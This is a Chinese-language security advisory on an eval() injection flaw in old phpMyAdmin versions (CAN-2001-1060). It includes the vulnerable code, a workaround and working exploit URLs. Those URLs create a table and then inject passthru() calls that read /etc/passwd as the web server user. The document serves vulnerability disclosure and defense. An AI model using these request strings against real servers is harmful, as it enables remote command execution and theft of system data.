BugCVE: CAN-2001-1060
BUGTRAQ: 3121
phpMyAdmin中存在一个输入验证错误,允许远程攻击者执行任意命令。攻击者可能获取
敏感信息或者以httpd运行身份执行任意命令。
问题处在’tbl_copy.php’ 和 'tbl_rename.php’中的下列代码中:
tbl_copy.php: eval( $message = \ $strCopyTableOK\ ; );
tbl_rename.php: eval( $message = \ $strRenameTableOK\ ; );
如果用户可以控制$strCopyTableOK 或 $strRenameTableOK的内容,就可能利用eval()
执行任意代码。但是直接利用:
http://victim/phpmyadmin/tbl_copy.php?strCopyTableOK= .passthru(‘cat%20/etc/passwd’).
这样的URL并不能真正执行cat命令。这是因为在执行eval()函数之前,phpMyAdmin会检查
mysql请求是否正常返回,如果没有正常返回,程序会终止。因此,攻击者必须首先要有一个
允许创建表的数据库。攻击者可以使用下列URL来在 test 库中创建一个表(haxor):
http://victim/phpmyadmin/tbl_create.php?db=test&table=haxor&query=dummy+integer+
primary+key+auto_increment&submit=1
这样攻击者就可以进行真正的攻击了:
http://victim/phpmyadmin/tbl_copy.php?db=test&table=haxor&new_name=test.haxor2&
strCopyTableOK= .passthru(‘cat%20/etc/passwd’).
2.0-2.2rc3
临时解决方法:
在’tbl_copy.php’ 和 'tbl_rename.php’中的问题行(包含eval函数的行)前面加
‘#’来注释调问题行。
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
<a href=“http://www.phpwizard.net/projects/phpMyAdmin/” target=“_blank”>http://www.phpwizard.net/projects/phpMyAdmin/</a>